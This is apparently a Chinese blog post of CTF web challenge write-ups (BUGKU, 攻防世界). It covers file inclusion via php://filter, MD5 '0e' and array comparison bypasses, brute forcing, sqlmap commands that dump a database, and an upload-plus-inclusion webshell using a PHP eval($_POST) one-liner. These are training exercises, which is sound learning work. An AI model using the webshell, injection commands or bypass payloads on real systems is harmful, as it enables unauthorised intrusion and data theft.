CTF web练习题


CTF web练习题

BUGKU Web13(2020.12.28)


打开题目环境
在这里插入图片描述

提示让看源码,于是直接F12查看源码:

发现一段js代码,里面p1和p2的值应该是url编码,用url解码试试:

得到一段代码。

var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1) + unescape('54aa2' + p2));

因为我不懂js代码,去查了一下:

unescape() 函数可对通过 escape() 编码的字符串进行解码。

但是这段代码里没有出现escape(),所以应该没有进行编码,直接将p1、’54aa2’、p1进行拼接,得到:67d709b2b54aa2aa648cf6e87a7114f1
输入框中,得到flag

然后我看到一个大佬直接将源代码里发现的那一串代码放到F12的Console中执行,将eval改为alter可以直接弹出代码和拼接过的字符串,试了一下,确实可以。

BUGKU Web14(2020.12.29)

1.打开网页,发现只有上图的一个可以点击的地方,直接点击,进入一个新的页面

同时注意到网址的变化:

http://114.67.246.176:17268/index.php?file=show.php

?file=show.php;可以联想到文件包含漏洞,然后我们就可以用php://filter协议来查看源文件内容;

构造:

php://filter/read=convert.base64-encode/resource=index.php

这句话的意思是我们用base64编码的方式来读文件index.php;
这时页面会显示出源文件index.php经过base64编码后的内容

77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFnezUxMzYxOWE0ZDNmOWRmZmQ2MjQxZWZkN2RhN2U3OTY1fQ0KPz4NCjwvaHRtbD4NCg==

然后经过base64解码就可以看到flag;

<html>
    <title>Bugku-web</title>

<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:flag{513619a4d3f9dffd6241efd7da7e7965}
?>
</html>

请参考php://filter 的使用

BUGKU Web15(2020.12.30)

打开网页,如下图

直接说密码是五位数字,猜测需要直接爆破
在Bp中设置好五位数字的范围,开始爆破

成功爆破出密码为12486

输入密码,得到flag

BUGKU Web16(2020.12.31)

打开题目,发现一串64位的md5,也没解出来,先放着。
提示说备份是个好习惯,说明网页可能存在备份文件,于是用御剑进行扫描

明显http://114.67.246.176:14500/index.php.apk是备份文件进入网页,现在备份文件
打开发现一段PHP代码

<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str); #将key替换为空
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){  
    echo $flag."取得flag";
} #如果key1的md5值和key2的md5值相等并且key1和key2不一样时,输出flag
?>

要获取flag有两个关键点,一个是key会被替换为空,我们可以采用复写发办法,将参数key写成kkeyey,这样运行代码后替换过后还是key.

这里要记住一个知识点:
当遇到比较md5值时,有两种方法进行绕过:

一:在PHP中,利用”!=”或”==来对哈希值进行比较时,PHP会把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
所以第二个条件我们可以选取开头为oe的两组md5值,比如

http://114.67.246.176:10842/?kekeyy1=240610708&kekeyy2=314282422

参考PHP处理0e开头md5时hash字符串漏洞

二:如果传入md5函数的参数为数组类型,则返回null
null==null 时可以通过数组可以绕过 == md5判断
所以我们也可以直接采用数组进行绕过,比如

http://114.67.246.176:10842/?kekeyy1[]=1&kekeyy2[]=2

因为数组的原因,我们在数组后面的等号写什么都可以。
参考数组绕过及php语言的特性

这两种方法都可以绕过==md5的情况,成功得到flag

BUGKU Web17

打开网址,发现是一个成绩查询的页面,输入1,2,3分别可以查询三个人的成绩,

肯定是考察post注入,用sqlmap比较方便。
首先用bp抓包,确定参数为id
在这里插入图片描述
然后使用sqlmap构建语句进行爆破数据库

python sqlmap.py -u http://114.67.246.176:12067/index.php –data “id=1” –dbs


爆破得到四个数据库,猜测flag在test中
继续爆破表

python sqlmap.py -u http://114.67.246.176:12067/index.php –data “id=1” -D test –tables

发现这个数据库里面没有表,没关系,换一个继续爆破

python sqlmap.py -u http://114.67.246.176:12067/index.php –data “id=1” -D skctf –tables


一看就知道flag在fl4g这个表里面,于是直接将这个表输出

python sqlmap.py -u http://114.67.246.176:12067/index.php –data “id=1” -D skctf -T fl4g –dump


得到flag。
sqlmap真好用~~

BUGKU Web34(2021.01.01)


提示说文件包含,那肯定是有文件包含漏洞,先打开环境

http://114.67.246.176:18136/index.php?file=hello.php

网页表面看不出什么有效信息,url看样子就是文件包含的格式,但是后面怎么改还不知道。于是查看源码:

一大串代码看不懂,但是发现了这个bookmarks.html,感觉可以试试,于是在url后面将hello.php改为bookmarks.html

http://114.67.246.176:18136/index.php?file=bookmarks.html

访问后页面什么都没有,查看源代码

发现upload.php
于是再将url后面改成upload.php,发现文件上传的地方。

http://114.67.246.176:18136/index.php?file=upload.php


接下来就是尝试上传一句话木马并且菜刀连接了。
用bp抓包进行测试,可以看到,虽然用普通的一句话木马写的图片成功上传上去了,但是返回的包里php代码被过滤了,所以一句话木马是不会被执行的。
在这里插入图片描述
最后也不是很懂,用这道题的评论区里有一个大佬给的代码成功连接了,具体还不是很懂,应该是文件包含漏洞和文件上传漏洞结合产生的一个独特的代码。评论区的大佬说这道题必须结合文件包含漏洞才能连接上,我试了好几种一句话木马确实都没有连上。

<script language=php>echo 'a'; eval($_POST['pass']);</script>


这里还需要注意一点:地址也必须用文件包含的格式,图片地址要放到file=的后面,才能连接上。
菜刀连接,在根目录下得到flag。

攻防世界进阶区001(2021.01.02)

题目:baby_web

打开题目环境:

根据提示中的初始页面,我们把1.php改成index.php,发现网页马上跳转回1.php了,说明有问题,我们通过抓包来尝试访问index.php
然后成功发现flag
在这里插入图片描述

攻防世界进阶区002(2021.01.03)

题目:Training-WWW-Robots

打开环境

咱英语不好,开个翻译看看:

按照提示在url后面加上robots.txt,访问页面

然后发现目录中有fl0g.php,直接访问,得到flag

攻防世界进阶区004(2021.01.04)

题目:Web_php_include
打开环境,发现php代码在这里插入图片描述
需要get一个参数page,但是”php://“被替换为空,我们可以试着用大小写绕过

发现里面有个疑似flag的php文件,于是使用cat命令读取,在源码中发现flag.

这道题还有其他写法,参考攻防世界-Web_php_include (四种解法)


文章作者: Cy_Dragon
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Cy_Dragon !
评论
  目录